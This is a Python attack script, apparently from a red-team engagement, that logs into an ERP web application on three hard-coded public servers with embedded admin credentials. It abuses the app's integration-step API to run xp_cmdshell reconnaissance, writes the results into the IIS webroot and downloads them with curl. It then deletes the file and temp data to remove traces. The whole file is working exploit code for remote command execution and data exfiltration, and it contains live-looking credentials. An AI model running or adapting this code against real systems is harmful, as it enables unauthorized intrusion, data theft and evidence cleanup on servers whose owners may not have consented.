#!/usr/bin/env python3
"""Place file in IIS webroot via fileOperation step (type 4).
fileOperation runs as IIS app pool account — has write access to webroot.
1. xp_cmdshell (SQL service): write sysinfo to C:\Windows\Temp
2. fileOperation (IIS app pool): copy temp to webroot
3. HTTP download from our host
4. fileOperation: delete from webroot
5. xp_cmdshell: cleanup temp"""
import asyncio, re, subprocess, os, time
from playwright.async_api import async_playwright

SERVERS = [
    ("74.208.83.171", "RTROGERSUAP1"),
    ("216.250.118.44", "RTROGERSMBIL"),
    ("198.71.63.125", "CITYMARTUAPSINGLE"),
]

async def run_on_server(ip, app, browser):
    context = await browser.new_context()
    page = await context.new_page()
    result = {"ip": ip, "app": app, "steps": {}, "downloaded": False}
    step_id = 4

    try:
        # Login with retry
        for attempt in range(3):
            await page.goto(f"http://{ip}/{app}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"    login attempt {attempt+1}: {e}", flush=True)
        else:
            result["status"] = "login_failed"
            return result
        print(f"  Login OK", flush=True)

        async def run_step(name, sql_text, step_type=1):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, strTo:"t@t.com", strSubject:"T", strMessage:"<MESSAGE>", strPayloadType:"JSON", strAuthenticationType:"JWT", intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"
            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strTo:null, strSubject:null, strMessage:null, strPayloadType:null, strAuthenticationType:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        webroot = "D:\\\\i21App\\\\" + app
        temp_file = "C:\\\\Windows\\\\Temp\\\\sysinfo.txt"

        # Step 1: xp_cmdshell — write sysinfo to temp (SQL service account)
        print(f"  Step 1: Collect sysinfo to temp...", flush=True)
        sql_collect = "EXEC xp_cmdshell 'systeminfo > " + temp_file + " & whoami >> " + temp_file + " & echo. >> " + temp_file + " & echo ===SQLROLE=== >> " + temp_file + " & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DATABASES=== >> " + temp_file + " & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DISK=== >> " + temp_file + " & wmic logicaldisk get caption,freespace,size >> " + temp_file + "', no_output"
        s1 = await run_step("collect", sql_collect, step_type=1)
        result["steps"]["collect"] = s1
        print(f"    collect: {s1}", flush=True)
        await asyncio.sleep(1)

        # Step 2: fileOperation (type 4) — copy temp to webroot (IIS app pool account)
        # From source: fileOperation uses strFileName (source) and strDestinationFolder (destination)
        print(f"  Step 2: Copy to webroot via fileOperation (type 4)...", flush=True)
        # fileOperation step fields: strFileName=source, strDestinationFolder=dest
        # But executeSQL (type 1) uses strSQL. We need to set step type to 4 (fileOperation)
        # and set strFileName and strDestinationFolder fields
        
        # Use type 4 (fileOperation) — but we need to set strFileName and strDestinationFolder
        # These are fields on tblIPStep, so we can include them in PUT ModifiedFields
        put_copy = await page.evaluate('''async () => {
            const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                method: 'PUT',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify([{
                    intStepId:''' + str(step_id) + ''',
                    strStepName:"Copy File",
                    intStepTypeId:4,
                    intConnectionId:1,
                    strFileName:"' + temp_file + '",
                    strDestinationFolder:"' + webroot + '\\\\",
                    intConcurrencyId:1,
                    strRowState:"Modified",
                    ModifiedFields:["strSQL","intStepTypeId","strFileName","strDestinationFolder","intStepId","intConcurrencyId","strRowState"]
                }]),
                credentials: 'include'
            });
            const text = await resp.text();
            return {status: resp.status, body: text.substring(0, 500)};
        }''')
        print(f"    PUT copy: HTTP {put_copy['status']}", flush=True)
        
        if put_copy['status'] in (200, 202):
            await asyncio.sleep(2)
            # Execute fileOperation
            exec_copy = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_copy.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s2 = success.group(1) if success else "?"
            result["steps"]["copy"] = s2
            print(f"    copy: {s2}", flush=True)
            
            # Restore step
            await page.evaluate('''async () => {
                await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strFileName:null, strDestinationFolder:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepTypeId","strFileName","strDestinationFolder","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
        else:
            result["steps"]["copy"] = f"put_{put_copy['status']}"
        
        await asyncio.sleep(1)

        # Step 3: Download via HTTP from our host
        if result["steps"].get("copy") == "true":
            download_url = f"http://{ip}/{app}/sysinfo.txt"
            local_path = f"/root/ir-assessment/redteam/irelydata/schema_inventory/sysinfo_{ip}_{app}.txt"
            print(f"  Step 3: Download {download_url}...", flush=True)
            dl = subprocess.run(["curl", "-sS", "-m", "30", "-o", local_path, "-w", "%{http_code}", download_url],
                               capture_output=True, text=True, timeout=45)
            code = dl.stdout.strip()
            if code == "200" and os.path.exists(local_path):
                size = os.path.getsize(local_path)
                result["downloaded"] = True
                result["download_url"] = download_url
                result["download_size"] = size
                print(f"    ✅ HTTP {code} size={size}", flush=True)
                with open(local_path) as f:
                    content = f.read()
                # Show preview
                for line in content.split("\n")[:10]:
                    print(f"      {line[:80]}", flush=True)
            else:
                print(f"    ❌ HTTP {code}", flush=True)
                result["steps"]["download"] = f"HTTP {code}"
        await asyncio.sleep(1)

        # Step 4: Delete file from webroot (fileOperation type 4)
        if result.get("downloaded"):
            print(f"  Step 4: Delete from webroot...", flush=True)
            put_del = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{
                        intStepId:''' + str(step_id) + ''',
                        strStepName:"Delete File",
                        intStepTypeId:4,
                        intConnectionId:1,
                        strFileName:"' + webroot + '\\\\sysinfo.txt",
                        strDestinationFolder:"",
                        intConcurrencyId:1,
                        strRowState:"Modified",
                        ModifiedFields:["strSQL","intStepTypeId","strFileName","intStepId","intConcurrencyId","strRowState"]
                    }]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''')
            if put_del['status'] in (200, 202):
                await asyncio.sleep(2)
                await page.evaluate('''async () => {
                    await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                        method: 'POST',
                        headers: {'Content-Type': 'application/json'},
                        body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                        credentials: 'include'
                    });
                }''')
                # Restore
                await page.evaluate('''async () => {
                    await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                        method: 'PUT',
                        headers: {'Content-Type': 'application/json'},
                        body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strFileName:null, strDestinationFolder:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                        credentials: 'include'
                    });
                }''')
                print(f"    deleted from webroot", flush=True)
        
        # Step 5: Cleanup temp
        print(f"  Step 5: Cleanup temp...", flush=True)
        s5 = await run_step("cleanup_temp", "EXEC xp_cmdshell 'del " + temp_file + "', no_output", step_type=1)
        result["steps"]["cleanup_temp"] = s5
        print(f"    cleanup: {s5}", flush=True)

        all_ok = all(v == "true" for v in result["steps"].values()) and result.get("downloaded", False)
        result["status"] = "all_success" if all_ok else "partial"

    except Exception as e:
        result["status"] = "error: " + str(e)[:80]
    finally:
        await context.close()

    return result

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)

        print(f"=== Placing sysinfo in IIS webroot via fileOperation ({len(SERVERS)} servers) ===\n")
        results = []

        for ip, app in SERVERS:
            print(f"\n  {ip}/{app}:")
            r = await run_on_server(ip, app, browser)
            results.append(r)
            marker = "✅" if r.get("status") == "all_success" else "⚠️" if r.get("downloaded") else "❌"
            print(f"  {marker} {ip}/{app} → {r.get('status','?')} (downloaded: {r.get('downloaded', False)})", flush=True)
            time.sleep(3)

        await browser.close()

        print(f"\n{'='*80}")
        print(f"\n=== SUMMARY ===")
        ok_count = sum(1 for r in results if r.get("status") == "all_success")
        dl_count = sum(1 for r in results if r.get("downloaded"))
        print(f"✅ All steps: {ok_count}/{len(results)}")
        print(f"✅ Downloaded: {dl_count}/{len(results)}")
        for r in results:
            marker = "✅" if r.get("downloaded") else "❌"
            size = r.get("download_size", 0)
            print(f"  {marker} {r['ip']:20s} {r['app']:25s} → {r.get('status','?')} (size: {size})")
            for k, v in r.get("steps", {}).items():
                m = "✅" if v == "true" else "❌"
                print(f"      {m} {k}: {v}")

asyncio.run(main())
